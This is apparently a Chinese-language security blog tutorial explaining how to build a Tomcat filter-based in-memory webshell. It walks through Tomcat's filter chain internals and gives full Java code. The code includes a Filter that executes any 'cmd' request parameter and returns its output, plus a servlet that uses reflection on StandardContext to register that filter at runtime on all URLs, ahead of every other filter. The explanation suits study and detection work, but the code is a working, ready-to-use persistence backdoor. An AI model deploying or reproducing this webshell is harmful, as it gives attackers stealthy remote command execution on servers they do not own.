创建恶意filter
先获取参数cmd,再利用Runtime执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
   | package com.example.myServlet;
 
  import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
  public class FilterShell implements Filter {     public void init(FilterConfig filterConfig) throws ServletException {
      }
      public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {         if (request.getParameter("cmd") != null){             Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));             InputStream inputStream = exec.getInputStream();             Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");             String output = scanner.hasNext() ? scanner.next() : "";             response.getWriter().write(output);             response.getWriter().flush();         }         System.out.println("过滤器调用完毕,开始转发给Servlet...");         chain.doFilter(request,response);
      }
      public void destroy() {
      }
  }
 
 
  | 
 
添加filter到web.xml


内存马的一些问题
怎么创建内存马?
1 2
   | 假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。 实战中不可能写一个filter对象再放到对方代码中。因此需要找到一个注入点,动态的在内存中创建一个filter对象,实现内存马。
 
  | 
 
如何动态的在内存中创建Filter对象?
Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法,这三个方法使得我们可以在运行时动态地添加过滤器。:
1 2 3 4 5
   | FilterRegistration.Dynamic addFilter(String filterName,String className)
  FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
  FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
 
  | 
 
如何调用ServletContext?
1
   | 不能直接调用,tomcat只允许容器还没有初始化完成的时侯调用这个几个方法,初始化结束后再尝试调用会出现异常
 
  | 
 
ServletContext接口的实现类?
1
   | org.apache.catalina.core.ApplicationContextFacade
 
  | 
 
一些相关类
ApplicationContext:是tomcat中ServletContext接口的实现,包含了StandardContext实例。
ApplicationContextFacade:在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装。
StandardContext:Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
 一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)
filter创建的过程
注意一下,开始调试之前要先添加tomcat的lib依赖,不然调试的时候找不到包


可以看到实际获取到的是一个ApplicationContextFacade对象,它对ApplicationContext的实例进行了封装。

调用栈中的上一级是internalDoFilter,打个断点看看它做了什么

org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
这个方法获取之前实现的filter,并且调用其中的doFilter方法

org.apache.catalina.core.ApplicationFilterChain#doFilter
再上一级是doFilter,这里调用了internalDoFilter

org.apache.catalina.core.StandardWrapperValve#invoke
再往上是StandardWrapperValve的invoke,调用filterChain.doFilter

filterChain的来源,由createFilterChain创建
1
   | ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
 
  | 
 

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
这里则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。

可以再filterMaps数组中找到之前添加的filter和URL映射关系


org.apache.catalina.core.StandardContextValve#invoke
再往上是调用管道的invoke方法

总结
1.org.apache.catalina.core.StandardContextValve#invoke
调用管道的invoke方法
2.org.apache.catalina.core.StandardWrapperValve#invoke
创建filterChain。调用filterChain.doFilter
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());
2(1):org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。
遍历得到的FilterMap数组
匹配filter和url映射关系、判断filterConfigs中是否存在对应filter实例
判断通过后调用addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
3.org.apache.catalina.core.ApplicationFilterChain#doFilter
调用了internalDoFilter
4.org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
获取已经实现的filter,并且调用其中的doFilter方法
Filter实例存储分析
org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系。
里面有三个和Filter有关的成员变量:
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
内存马实现
简单来说就是在运行动态添加一个filter
大致流程如下:
- 创建一个恶意 Filter
 
- 利用 FilterDef 对 Filter 进行一个封装
 
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
 
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
 
在StandardContext 类中, Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可添加内存马。那么如何获取到StandardContext  成为了问题的关键。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
   | package com.example.myServlet;
  import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
  import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner;
  public class DemoServlet extends HttpServlet {     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {         Field Configs = null;         Map filterConfigs;         try {                          ServletContext servletContext = request.getSession().getServletContext();
              Field appctx = servletContext.getClass().getDeclaredField("context");             appctx.setAccessible(true);             ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
              Field stdctx = applicationContext.getClass().getDeclaredField("context");             stdctx.setAccessible(true);             StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 
              String FilterName = "cmd_Filter";             Configs = standardContext.getClass().getDeclaredField("filterConfigs");             Configs.setAccessible(true);             filterConfigs = (Map) Configs.get(standardContext);
              if (filterConfigs.get(FilterName) == null){                 Filter filter = new Filter() {
                      @Override                     public void init(FilterConfig filterConfig) throws ServletException {
                      }
                      @Override                     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {                         HttpServletRequest req = (HttpServletRequest) servletRequest;                         if (req.getParameter("cmd") != null){
                              InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                              Scanner s = new Scanner(in).useDelimiter("\\A");                             String output = s.hasNext() ? s.next() : "";                             servletResponse.getWriter().write(output);
                              return;                         }                         filterChain.doFilter(servletRequest,servletResponse);                     }
                      @Override                     public void destroy() {
                      }                 };                                                   Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");                 Constructor declaredConstructors = FilterDef.getDeclaredConstructor();                 FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();                 o.setFilter(filter);                 o.setFilterName(FilterName);                 o.setFilterClass(filter.getClass().getName());                 standardContext.addFilterDef(o);
                                   Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");                 Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();                 org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
                  o1.addURLPattern("/*");                 o1.setFilterName(FilterName);                 o1.setDispatcher(DispatcherType.REQUEST.name());                 standardContext.addFilterMapBefore(o1);
                                   Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");                 Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);                 declaredConstructor1.setAccessible(true);                 ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);                 filterConfigs.put(FilterName,filterConfig);                 response.getWriter().write("Success");
 
              }         } catch (Exception e) {             e.printStackTrace();         }
 
      }     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {         doPost(req,resp);     }
  }
 
 
  | 
 
成功添加了filter

参考链接
https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw
http://m0d9.me/2020/09/27/Java%E5%86%85%E5%AD%98shell%EF%BC%9Aservlet/
https://www.cnblogs.com/nice0e3/p/14622879.html
http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/
https://xiao-tan.xyz/2021/04/18/%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%9D%E6%8E%A2-Filter/
http://wjlshare.com/archives/1529#0x04_Filter